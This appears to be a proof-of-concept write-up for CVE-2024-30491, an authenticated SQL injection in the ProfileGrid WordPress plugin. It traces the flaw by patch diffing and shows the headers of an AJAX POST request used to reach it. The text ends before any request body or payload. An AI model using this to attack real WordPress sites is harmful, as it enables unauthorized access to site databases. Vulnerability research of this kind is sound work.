# CVE-2024-30491-Poc
## ProfileGrid <= 5.7.8 - Authenticated (Subscriber+) SQL Injection

Build wordpress: ```docker-compose -f stack.yml up```

Step 1: Diff ProfileGrid 5.7.8 and ProfileGrid 5.7.9
File: includes\class-profile-magic-dbhandler.php => function get_all_result change in variable $additional
Check function pm_filter_addtional_query_parameter in file includes\class-profile-magic-dbhandler.php (ProfileGrid 5.7.9) it seems to check for keywords that are capable of sql injection

Step2: Focus plugin ProfileGrid 5.7.8 . I search for functions that call the function get_all_result.
I found function pm_messenger_search_threads in file includes\class-profile-magic-chat-system.php call function get_all_result.

Step3: I search for functions that call the function pm_messenger_search_threads

File: public\class-profile-magic-public.php function pg_search_threads call function pm_messenger_search_threads

File: includes\class-profile-magic.php
I found registering an action and hook name `wp_ajax_pg_search_threads`. When this hook is run, the `pg_search threads` function is called to process the request and return the results.

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <Host>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Cookie: {{Cookie}}
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 60